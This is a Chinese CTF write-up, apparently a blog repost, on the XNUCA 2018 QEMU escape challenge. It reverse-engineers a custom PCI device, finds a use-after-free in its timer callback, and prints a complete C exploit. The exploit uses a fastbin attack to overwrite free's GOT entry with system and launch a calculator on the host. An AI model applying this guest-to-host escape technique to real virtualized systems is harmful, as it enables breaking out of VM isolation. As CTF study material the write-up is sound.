首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD

CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD

作者头像
用户1423082
发布2024-12-31 20:10:58
发布2024-12-31 20:10:58
8800
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

熟悉题目

先看启动脚本,那应该就是xnuca设备了

代码语言:javascript
代码运行次数:0
运行
复制
#!/bin/bash

./qemu-system-x86_64 \
    -initrd ./rootfs.img \
    -kernel ./vmlinuz-4.8.0-52-generic \
    -append "console=ttyS0 root=/dev/sda oops=panic panic=1"  \
    -monitor /dev/null \
    -m 64M --nographic -L ./dependency/usr/loacl/share/qemu \
    -L ./pc-bios \
    -nographic \
    -device xnuca

启动后直接root登录就可以了,查看pci设备

代码语言:javascript
代码运行次数:0
运行
复制
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9

通过查看xnuca_class_init函数,可以知道xnuca对应00:04.0 Class 00ff: 1234:11e9

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_class_init(__int64 a1)
{
  __int64 result; // rax

  result = object_class_dynamic_cast_assert(
             a1,
             "pci-device",
             "/mnt/hgfs/Workbench/CTF/xnuca/qemu/hw/misc/xnuca.c",
             183LL,
             "xnuca_class_init");
  *(_QWORD *)(result + 176) = pci_xnuca_realize;
  *(_QWORD *)(result + 184) = pci_xnuca_uninit;
  *(_WORD *)(result + 208) = 0x1234;
  *(_WORD *)(result + 210) = 0x11E9;
  *(_BYTE *)(result + 212) = 0;
  *(_WORD *)(result + 214) = 0xFF;
  return result;
}

代码分析

先看read,就是读取0x9D0和0x9DC偏移的数据

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_mmio_read(__int64 State, unsigned __int8 addr)
{
  _BYTE v3[12]; // [rsp+20h] [rbp-14h]

  *(_DWORD *)&v3[8] = 0;
  *(_QWORD *)v3 = addr;
  if ( addr == 0x10 )
    return *(unsigned int *)(State + 0x9DC);
  if ( addr == 0x20 )
    *(_QWORD *)&v3[4] = *(unsigned int *)(State + 0x9D0);
  return *(_QWORD *)&v3[4];
}

再看write,有3个功能,分别是xnuca_set_timerxnuca_send_requestxnuca_auth

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_mmio_write(__int64 State, int addr, unsigned int value, int size)
{
  __int64 result; // rax
  int v5; // [rsp+10h] [rbp-30h]

  v5 = addr;
  result = State;
  if ( size == 4 || size == 8 )
  {
    result = (unsigned __int8)addr;
    if ( (unsigned __int8)addr == 0x20 )
    {
      result = xnuca_set_timer(State);
    }
    else if ( (_DWORD)result == 0x30 )
    {
      result = xnuca_send_request(
                 State,
                 (unsigned __int64)(addr & 0xF00) >> 8,
                 (unsigned __int64)((unsigned __int16)addr & 0xF000) >> 12,
                 (v5 & 0xFF0000u) >> 16,
                 (unsigned __int8)value);
    }
    else if ( (_DWORD)result == 0x10 )
    {
      result = xnuca_auth(State, (unsigned int)(char)value);
    }
  }
  return result;
}

先看xnuca_set_timer*(State + 0x9D0)的最低位是1,次低位是0才能进入,逻辑就是初始化了一个计时器,而且处理后将次低位置1了

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_set_timer(__int64 State)
{
  __int64 result; // rax

  result = *(_DWORD *)(State + 0x9D0) & 1;
  if ( (_DWORD)result )
  {
    result = *(_DWORD *)(State + 0x9D0) & 2;
    if ( !(_DWORD)result )
    {
      timer_init_ns(State + 0xA00, 0, (__int64)xnuca_timer, State);
      result = State;
      *(_DWORD *)(State + 0x9D0) |= 2u;
    }
  }
  return result;
}

那么State + 0xA00处是一个QEMUTimer ,计时器到期时要调用xnuca_timer,先看xnuca_timer,可以看到这里free后,没有将指针置空,又是经典堆题放到了qemu

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_timer(__int64 State)
{
  __int64 result; // rax
  int v2; // eax
  void **v3; // rbx

  result = *(_DWORD *)(State + 0x9D0) & 4;
  if ( (_DWORD)result )
  {
    v2 = *(_DWORD *)(State + 0x9EC);
    switch ( v2 )
    {
      case 2:
        *(_DWORD *)(*(unsigned int *)(State + 0x9F0)
                  + *(_QWORD *)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8))) = *(_DWORD *)(State + 0x9F8);
        break;
      case 3:
        free(*(void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8)));
        break;
      case 1:
        v3 = (void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8));
        *v3 = malloc(*(unsigned int *)(State + 0x9F0));
        break;
    }
    result = State;
    *(_DWORD *)(State + 0x9D0) &= 0xFFFFFFFB;
  }
  return result;
}

其实这样看有点难看,默认符号表没有State结构体,经过一顿查看代码逆向,我自己就新建了一个

代码语言:javascript
代码运行次数:0
运行
复制
struct xnucaState
{
  _BYTE notuse[2512];
  unsigned int cmd_9D0;
  _BYTE auth_str[8];
  unsigned int count_9DC;
  _QWORD heaplist_9E0;
  _DWORD offset_9E8;
  _DWORD choose_9EC;
  _DWORD mallocSize;
  _QWORD value_9F8;
  _QWORD qemu_timer;
};

再看看,是不是好看多了,那么要进入里面的漏洞代码区域,我们要使cmd_9D0&4 == 1

代码语言:javascript
代码运行次数:0
运行
复制
xnucaState *__fastcall xnuca_timer(xnucaState *State)
{
  xnucaState *result; // rax
  int v2; // eax
  void **v3; // rbx

  result = (xnucaState *)(State->cmd_9D0 & 4);
  if ( (_DWORD)result )
  {
    v2 = State->choose_9EC;
    switch ( v2 )
    {
      case 2:
        *(_DWORD *)((unsigned int)State->mallocSize
                  + *(_QWORD *)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8)) = State->value_9F8;
        break;
      case 3:
        free(*(void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8));
        break;
      case 1:
        v3 = (void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8);
        *v3 = malloc((unsigned int)State->mallocSize);
        break;
    }
    result = State;
    State->cmd_9D0 &= 0xFFFFFFFB;
  }
  return result;
}

继续看xnuca_send_request,就是用来设置各种值的,将timer的超时时间设置成当前时间+10纳秒(根据qemu文档中timer_init_ns是以纳秒为单位初始化计时器),那么就相当于立刻执行,xnuca_timer

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall xnuca_send_request(xnucaState *a1, int a2, int a3, int a4, unsigned int a5)
{
  __int64 v5; // rax

  a1->offset_9E8 = a2;
  a1->choose_9EC = a3;
  a1->mallocSize = a4;
  a1->value_9F8 = a5;
  a1->cmd_9D0 |= 4u;
  v5 = qemu_clock_get_ns(1u);
  return timer_mod((__int64)&a1->qemu_timer, v5 + 10);
}

最后还有xnuca_auth,就是count_9DC小于4的时候,将我们的value与a1->auth_str中的比较,相等就+1,否则置0,而count_9DC等于5,则将cmd_9D0最低位置1,同事从星将count_9DC置0

代码语言:javascript
代码运行次数:0
运行
复制
xnucaState *__fastcall xnuca_auth(xnucaState *a1, char a2)
{
  xnucaState *result; // rax

  if ( a1->count_9DC <= 4 )
  {
    if ( a1->auth_str[a1->count_9DC] == a2 )
      ++a1->count_9DC;
    else
      a1->count_9DC = 0;
  }
  result = (xnucaState *)a1->count_9DC;
  if ( (_DWORD)result == 5 )
  {
    a1->cmd_9D0 |= 1u;
    result = a1;
    a1->count_9DC = 0;
  }
  return result;
}

那么这个auth_str什么时候设置的呢,在pci_xnuca_realize里面,这里初始化了State的各个成员了

代码语言:javascript
代码运行次数:0
运行
复制
unsigned __int64 __fastcall pci_xnuca_realize(xnucaState *a1, __int64 a2)
{
  unsigned __int64 v2; // ST38_8
  __int64 v3; // ST28_8

  v2 = __readfsqword(0x28u);
  v3 = *(_QWORD *)&a1->notuse[120];
  a1->cmd_9D0 = 0;
  a1->auth_str[0] = 'X';
  a1->auth_str[1] = 'n';
  a1->auth_str[2] = 'u';
  a1->auth_str[3] = 'c';
  a1->auth_str[4] = 'a';
  a1->count_9DC = 0;
  a1->heaplist_9E0 = &mem_buf;
  memset(&a1->offset_9E8, 0, 0x18uLL);
  pci_config_set_interrupt_pin_5(v3, 1LL);
  memory_region_init_io(&a1->notuse[2272], a1, xnuca_mmio_ops, a1, "xnuca-mmio", 0x10000000LL, a2);
  pci_register_bar(a1, 0LL, 0LL, &a1->notuse[2272]);
  return __readfsqword(0x28u) ^ v2;
}

漏洞利用

利用思路:通过fastbin attack伪造fd指向free got后,修改free got为system plt的地址,最后调用free即可

这个跟defcon ec3一样,只不过这个有符号,但是给这个加了点限制,才能进入漏洞代码:

1、首先调用xnuca_timer,先得调用xnuca_set_timer初始化计时器 2、而进入计时器的初始化,需要State->cmd_9D0 & 1 == 1,那就需要通过xnuca_auth 5次后设置a1->cmd_9D0 |= 1u; 3、最后进入xnuca_timer中的漏洞代码,需要cmd_9D0 & 4 == 1,这个可以通过调用xnuca_send_request设置,不过也得必须调用xnuca_send_request来传递我们的参数

跟defcon ec3不一样的还有malloc的返回值不是0x7fxxxxxxx,所以指向直接fd劫持到got表,修改free了

最终利用代码:

代码语言:javascript
代码运行次数:0
运行
复制
// -*- coding: utf-8 -*-
// @Date    : 2020-01-10
// @Author  : giantbranch
// @Link    : https://www.giantbranch.cn/
// @tags : 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0xfffffff
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){
    
    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value, uint32_t size)
{
    if (size == 1)
    {
        *((uint8_t*)(mmio_base + addr)) = value;
    }else if (size == 2)
    {
        *((uint16_t*)(mmio_base + addr)) = value;
    }else if (size == 4)
    {
        *((uint32_t*)(mmio_base + addr)) = value;
    }else if (size == 8)
    {
        *((uint64_t*)(mmio_base + addr)) = value;
    }
    
}

uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}

void xnuca_auth(uint32_t value)
{
    mmio_write(0x10, value, 4);
}

void xnuca_set_timer()
{
    mmio_write(0x20, 666, 4);
}

void xnuca_send_request(uint32_t index, uint32_t choose, uint32_t mallocSize, uint32_t value, uint32_t size)
{
    uint64_t addr = 0x30 | (index << 8) | (choose << 12) | (mallocSize << 16);
    mmio_write(addr, value, size);
}

void xnuca_malloc(uint32_t index, uint32_t mallocSize)
{
    xnuca_send_request(index, 1, mallocSize, 666, 4);
    // 睡眠1微秒,1μs = 1000ns
    usleep(1);
}

void xnuca_edit(uint32_t index, uint32_t offset, uint64_t value, uint32_t size)
{
    xnuca_send_request(index, 2, offset, value, size);
    usleep(1);
}

void xnuca_free(uint32_t index)
{
   xnuca_send_request(index, 3, 666, 666, 4);
   usleep(1);
}

int main(int argc, char const *argv[])
{
    uint64_t system_plt = 0x411420;

    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);


    /* 1、xnuca_auth set a1->cmd_9D0 |= 1u;*/
    // a1->auth_str[0] = 0x58;
    // a1->auth_str[1] = 0x6E;
    // a1->auth_str[2] = 0x75;
    // a1->auth_str[3] = 0x63;
    // a1->auth_str[4] = 0x61;
    xnuca_auth(0x58);
    xnuca_auth(0x6E);
    xnuca_auth(0x75);
    xnuca_auth(0x63);
    xnuca_auth(0x61);

    /*set timer*/
    xnuca_set_timer();
    
    //uaf: modify fd
    xnuca_malloc(0, 0x30);
    xnuca_free(0);
    xnuca_edit(0, 0, 0x11b92b2, 8);

    // try to get write access
    xnuca_malloc(0, 0x30);
    xnuca_malloc(1, 0x30);


    // // write system_plt to free_got
    xnuca_edit(1, 6, system_plt, 4);
    xnuca_edit(1, 6+4, 0, 4);

    // >>> from pwn import *
    // >>> map(hex, unpack_many("gnome-calculator"))
    // ['0x6d6f6e67', '0x61632d65', '0x6c75636c', '0x726f7461']
    // xnuca_malloc(6, 0x30);
    xnuca_edit(0, 0, 0x6d6f6e67, 4);
    xnuca_edit(0, 4, 0x61632d65, 4);
    xnuca_edit(0, 8, 0x6c75636c, 4);
    xnuca_edit(0, 12, 0x726f7461, 4);

    xnuca_free(0); // call free —— in fact call system_plt

    return 0;
}

最终效果——启动计算器:

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 熟悉题目
  • 代码分析
  • 漏洞利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档